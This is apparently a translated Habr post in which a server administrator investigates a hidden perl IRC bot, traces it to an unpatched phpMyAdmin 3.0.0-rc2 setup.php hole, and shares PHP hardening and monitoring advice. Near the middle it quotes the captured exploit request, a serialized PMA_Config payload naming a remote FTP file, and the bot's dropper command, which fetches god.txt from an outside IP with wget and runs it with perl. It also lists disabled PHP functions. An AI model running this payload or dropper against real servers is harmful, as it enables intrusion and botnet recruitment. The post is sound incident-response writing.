📜 ⬆️ ⬇️

Analysis of bot penetration through an exploit in older versions of phpmyadmin and recommendations for php hosting security settings

I have several servers in administration, on which my projects are hosted mainly, but besides them, there were still quite a few left sites to be placed - clients, acquaintances, acquaintances, acquaintances, etc. During the administration there were various problems, so some monitoring (zabbix and self-written scripts) are set up.

And yesterday, on one of the servers, the script checking the active connections sounded the alarm: the outgoing connection to an unknown host on port 433 is constantly hanging, for more than 9 hours at the time I was able to read mail on Monday morning;)

In a quick scan, apart from this active connection, no more anomalies and left processes in the system were detected, a sharp increase in traffic on the interface was also not detected, but this did not reassure me, so I had to find out more.
')
According to the results of the analysis, I found out that a similar security hole can be found on most servers with basic PHP settings, so I decided to make a post on Habré to protect other owners of servers with hosting from similar cases, and also described ways to find sources of infection on the server.

The system is installed with Debian Lenny with the latest updates, even partially from backports squeeze, postfix + dovecot, apache2, lighttpd, mysql, php, perl work - almost a basic configuration in general.

My self-written script that detected this connection does the following: once every 30 minutes it runs the command lsof -nP -i :80,443,25 +c 15 (the list of active outgoing connections to ports 80,443,25), cuts out my postfix mail server and some of my processes are still there, and if someone else is holding the connection besides them, then immediately turn on the panic mode.

According to the results of this script, I received the following information:
perl 31621 www-data 4u IPv4 123556667 TCP [_ip]:59216->81.223.126.136:443 (ESTABLISHED)

I immediately connected via ssh, made ps aux, which surprised me a lot:
UID PID PPID C STIME TTY TIME CMD
www-data 31621 1 0 20:15 ? 00:00:00 /usr/sbin/apache2 -k start

Those. ps I claimed that it was not a perl, but an apache.

Therefore, I wanted to find out the exact time of the appearance of this process in the system, in order to search through the logs during this time, and the script has a 30-minute lag, during which it managed to write a lot of logs. It turned out that finding out a specific start date is quite problematic, the ps aux command showed only the start date (last day, 12 Dec), in / proc / file creation dates and the rest detected by a cursory infa did not coincide with the message interval from the script, but after active googling I managed to find the magic team and find out the specific time of the launch of this process to the nearest second:
# ps -eo pid,lstart,cmd
in the second column displays the exact time of the process start, for my process 12/12/2010 23:59:40.

Carefully reviewing the logs of each virtual host during this time up to minus 5 minutes from now I didn’t find anything abnormal! I also built a process tree and saw that this process has no parents (a parent with pid 0). And there were no connections with IP where the connection hangs (81.223.126.136) in the logs of a single demon.

Next, googling for perl, I found out that it is quite simple to change the command parameter to any other text, this is done through the $ 0 variable, i.e. a running perl process can be displayed as mysqld, init, or any other daemon.

So, we have an active perl process without a parent, which has been hanging for more than 9 hours and it is unknown where it started from, although on the hosting I only have PHP everywhere. Therefore, even restarting apache leaves this process hanging active.

Next, I tried to analyze traffic through tcpdump:
000033 IP [my_ip].55026 > 81.223.126.136.443: . ack 1 win 46 <nop,nop,timestamp 575834701 2876573490>
000172 IP [my_ip].55026 > 81.223.126.136.443: P 1:13(12) ack 1 win 46 <nop,nop,timestamp 575834701 2876573490>
001043 IP 81.223.126.136.443 > [my_ip].54320: . ack 163 win 54 <nop,nop,timestamp 2876573490 575834655>
183151 IP 81.223.126.136.443 > [my_ip].55026: . ack 13 win 46 <nop,nop,timestamp 2876573536 575834701>
000022 IP [my_ip].55026 > 81.223.126.136.443: P 13:145(132) ack 1 win 46 <nop,nop,timestamp 575834747 2876573536>
000005 IP 81.223.126.136.443 > [my_ip].55026: P 1:77(76) ack 13 win 46 <nop,nop,timestamp 2876573536 575834701>
000006 IP [my_ip].55026 > 81.223.126.136.443: . ack 77 win 46 <nop,nop,timestamp 575834747 2876573536>
001213 IP 81.223.126.136.47092 > [my_ip].113: S 4059834353:4059834353(0) win 5840 <mss 1460,sackOK,timestamp 2876573536 0,nop,wscale 7>
000019 IP [my_ip].113 > 81.223.126.136.47092: S 2188075368:2188075368(0) ack 4059834354 win 5792 <mss 1460,sackOK,timestamp 575834748 2876573536,nop,wscale 7>


And I also found in the htop command the ability to do strace:
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 559974})
read(4, "ERROR :Closing Link: Fasso'[sea.q"..., 4096) = 76
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599998})
read(4, ""..., 4096) = 0
close(4) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 4
ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)
lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)
lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
fcntl(4, F_SETFD, FD_CLOEXEC) = 0
connect(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("81.223.126.136")}, 16) = 0
getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0
write(4, "NICK Fasso'\n"..., 12) = 12
getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0
write(4, "USER fake [my_ip] 81.223.1"..., 132) = 132
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigaction(SIGCHLD, NULL, {SIG_IGN}, 8) = 0
nanosleep({2, 0}, {2, 0}) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599997})
read(4, "NOTICE AUTH :*** Looking up your "..., 4096) = 113
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})
read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66
write(4, "PONG :258562266\n"..., 16) = 16
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})
read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
15:59:55 icq.j-im.ru
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})
read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66
write(4, "PONG :258562266\n"..., 16) = 16
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})
read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)


From this data I found out that this bot periodically exchanges information with the server (about once every 30-60 seconds), i.e. it is actively working, but it does not generate a lot of traffic, I saw the host god.undernet.hk, but it didn’t help me in finding the source of this bot.

Then, still thinking about brains, I made lsof -p 31621 and got the following conclusion:
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
perl 31621 www-data cwd DIR 9,4 640 2 /tmp
perl 31621 www-data rtd DIR 9,1 4096 2 /
perl 31621 www-data txt REG 9,1 6848 245277 /usr/bin/perl
perl 31621 www-data mem REG 9,1 25536 310438 /usr/lib/perl/5.10.0/auto/Socket/Socket.so
perl 31621 www-data mem REG 9,1 19704 310433 /usr/lib/perl/5.10.0/auto/IO/IO.so
perl 31621 www-data mem REG 9,1 39112 1404408 /lib/libcrypt-2.7.so
perl 31621 www-data mem REG 9,1 1375536 262722 /lib/libc-2.7.so
perl 31621 www-data mem REG 9,1 130114 261372 /lib/libpthread-2.7.so
perl 31621 www-data mem REG 9,1 534736 1404410 /lib/libm-2.7.so
perl 31621 www-data mem REG 9,1 14616 1404409 /lib/libdl-2.7.so
perl 31621 www-data mem REG 9,1 1499352 246277 /usr/lib/libperl.so.5.10.0
perl 31621 www-data mem REG 9,1 119288 262716 /lib/ld-2.7.so
perl 31621 www-data 0u unix 0xffff880080459200 122918994 /tmp/php.socket-1
perl 31621 www-data 1w FIFO 0,8 123556620 pipe
perl 31621 www-data 2w REG 9,1 838 979223 /var/log/lighttpd/error.log
perl 31621 www-data 3u unix 0xffff880020d31500 123039634 /tmp/php.socket-1
perl 31621 www-data 4u IPv4 123556667 TCP [_ip]:59216->136-126-223-81.static.edis.at:https (ESTABLISHED)


This conclusion surprised me even more by the presence of the word lighttpd (I have 2 ip on the server, apache hangs on one, lighttpd hangs on another), although in ps the process seemed to be apache, and it was apparently launched from / tmp.

After further brainwashing, I decided to make a memory dump of this process, but reading / proc // mem did not help. But the gcore command helped (from the gdb package) - with its help I was able to dump the process of this process into 3.2MB and began to view it manually. When viewing it was possible to notice the following text fragments:
@fakeps
/usr/sbin/apache2 -k start
god.txt
HTTP_HOST=[my_ip]..!.......DOCUMENT_ROOT=/var/www/.A.......SCRIPT_FILENAME=/var/www/phpmyadmin3/scripts/setup.php..A.......SCRIPT_NAME=/phpmyadmin3/scripts/setup.php..............!.......PHP_FC
GI_CHILDREN=16....1.......PATH=/sbin:/bin:/usr/sbin:/usr/bin......!.......PWD=/tmp................1.......REMOTE_ADDR=62.193.226.196..............!.......SHLVL=1.................1.......PHP_FCGI_MAX_REQUESTS=10000.............1.......OLDPWD=/
var/www/phpmyadmin3.............!......._=/usr/bin/perl

Wow, got caught! Pearl was launched from a PHP script /var/www/phpmyadmin3/scripts/setup.php
We go to Google, type “phpmyadmin setup.php exploit” and find a working exploit: www.securityfocus.com/bid/34236 - it was discovered 2009-03-24, also available on phpmyadmin: www.phpmyadmin.net/ home_page / security / PMASA-2009-3.php and fixed only in versions 2.11.9.5 and 3.1.3.1 .

This phpmyadmin was manually installed by me for a long time, because there were no 3 versions in the repository, version 3.0.0-rc2 was installed, i.e. old, still with a hole that was not rolled up, and then I safely forgot about it and it remained a dead weight to this day.

Then, already knowing the address of the php script, we managed to find the hits in the lighttpd logs:
62.193.226.196 [my_ip] - [12/Dec/2010:15:54:57 +0300] "GET /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 14083 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"
62.193.226.196 [my_ip] - [12/Dec/2010:15:54:59 +0300] "POST /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 556203 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"

The only thing I do not understand is that this is the time difference, the request was at 15:54, and the process appeared at 23:59.

I still wanted to know what kind of bot that I slipped, so instead of blocking access to the script, we prescribe a trap there:
 $loginfo['date']=date('c'); $loginfo['env']=var_export($_ENV,true); $loginfo['get']=var_export($_GET,true); $loginfo['post']=var_export($_POST,true); file_put_contents('log.txt',var_export($loginfo,true),FILE_APPEND); 

The trap was not long in coming, at 22 o'clock the next day it catches the call to this script again, and we already have the exploit code:
  'post' => 'array ( \'action\' => \'lay_navigation\', \'eoltype\' => \'unix\', \'token\' => \'4b179cfc2f788d828bf9ff8d2f122459\', \'configuration\' => \'a:1:{i:0;O:10:\\\\"PMA_Config\\\\":1:{s:6:\\\\"source\\\\";s:44:\\\\" ftp://web1:l33t@85.25.132.71/html/godbot.txt\\\\";}}\', )' 

Download this file via wget and see:
 <?php system("cd /tmp;killall -9 perl;wget -O god.txt 67.19.118.242/god.txt;perl god.txt;rm -f god.txt*");die; 

Next, the link already gets the bot code itself (34 KB), who are interested can download it and see.

So, I managed to find out the source of the penetration of this bot and get the code of the bot itself. It remains to patch the hole;)

I hope the description of my analysis will help other admins in the search and analysis of all kinds of evil on their servers.

How to protect against such cases


The very first thing that comes to mind is that it is necessary to be updated in time to the latest versions. Yes, in this particular case, I myself am guilty for not following the phpmyadmin version, but every hosting client cannot be made to constantly update their phpmyadmin, which they very often upload on the site, so you need to take into account that the presence of old leaky versions of the scripts is inevitable, so everyone a user with access to his home folder is already a source of similar problems, since it is useless to fight for the purity and security of the code on each site, you need to take global protection measures.

It turns out that each server with the basic php settings is potentially subject to such a threat, and it’s almost impossible to notice that such a bot has settled on the server. Therefore, I recommend that administrators protect the server from similar problems in advance and configure monitoring of anomalous activity.

I have taken the following protection measures:


1. Set up periodic monitoring of active connections, with the help of this you can immediately notice the abnormal activity, whether it be spamming with a php script or a bot connection to the server. Immediately, the lsof command and the memory dump of this process were added to this script, since by the time I get to the server, the script can already work and unload.

2. Prevent php from running exec, system, etc., functions, because they are required very rarely, so most of the clients are not used. The ideal option would be to log using these functions, but I did not find how to do it (by the way, can someone tell me how to do it?) , The full line in php.ini is as follows:
disable_functions = "ini_alter, curl_exec, exec, system, passthru, shell_exec, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, leak, listen, chgrp, apache_note, apache_setenv, closelog, debugger_off, debugger_on, define_sys
log_variables, openlog, syslog,ftp_exec,dl"


I would like to hear the comments of habrauers if I chose the right ways of protection and who does protection against similar cases on my servers.

I also had the following questions open:
  1. How can you find out the real command to start the process and the path to it, if it is already overwritten by the process itself, without resorting to a memory dump and manual viewing of the cracks?
  2. How in linux can I intercept and view all traffic through tcpdump or a similar utility from a specific process, knowing its pid?
  3. Are there any ready-made solutions for monitoring non-standard server activity in connections?
  4. Is it possible to somehow configure in php the logging of exec functions and the like?

UPD.: By the way, this hole may not be closed in phpmyadmin from repositories, you need to carefully watch the docks. The patch was patched only in versions 2.11.9.5 and 3.1.3.1 . But for example in Debian Lenny goes 4: 2.11.8.1-5 + lenny6, and the hole is closed by a separate patch -http: //www.debian.org/security/2009/dsa-1824
More information about this hole: www.phpmyadmin.net/home_page/security/PMASA-2009-3.php

UPD2: Is it possible to somehow configure through the firewall (as far as I understand for linux it will be iptables) restricting access to specific processes to the network? For example, prevent all perl processes from connecting outside. In Android OS (it also works on the Linux kernel), there is a DroidWall program that allows you to enable / disable network access to specific applications, but I didn’t understand something in the basic Linux distribution (for example, Debian) whether this could be done.

UPD3: By comments and letters I added the list of functions and threw out some unnecessary ones:
disable_functions = "apache_setenv, chown, chgrp, closelog, define_syslog_variables, dl, exec, ftp_exec, openlog, passthru, pcntl_exec, popen, posix_getegid, posix_geteuid, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_open, proc_terminate, shell_exec, syslog, system"

UPD4: More additions at the request of the audience:
Script for checking active connections: (it was written quickly on my knee only for my personal needs)
 $out=system("lsof -nP -i :80,443,25 +c 15 | grep -v -E '^(COMMAND|apache2|zabbix|smtpd?|master|scache|host|lighttpd)' | grep -v 'wget.*>[my_ip]:80'"); if(strlen($out)) { $arr=explode("\n",$out); foreach($arr as $str) { echo $str."\n"; $spl=preg_split("/\s+/",$str); echo `ps -f -p {$spl[1]}`."\n\n"; echo `lsof -p {$spl[1]}`."\n\n"; } 

And prescribe it in cron for every 30 minutes. If something extra displays it at startup, then add grep to the list so that it does not interfere. As a result, if something left appears, which tries to either spam or download something, then immediately cron notifies me by mail.

UPD4: from user z123 : how to find out the real program that launched the process (if it was changed):
ps -p 123 -o comm
readlink / proc / 123 / exe (123 replaced by process number)
But, unfortunately, they do not show the startup parameters and the folder, but output only perl and / usr / bin / perl for this bot, so without a memory dump I have not yet found a way to find the folder where the infection got from (ie, find the /var/www/phpmyadmin3/scripts/setup.php line /var/www/phpmyadmin3/scripts/setup.php )

Source: https://habr.com/ru/post/109974/


All Articles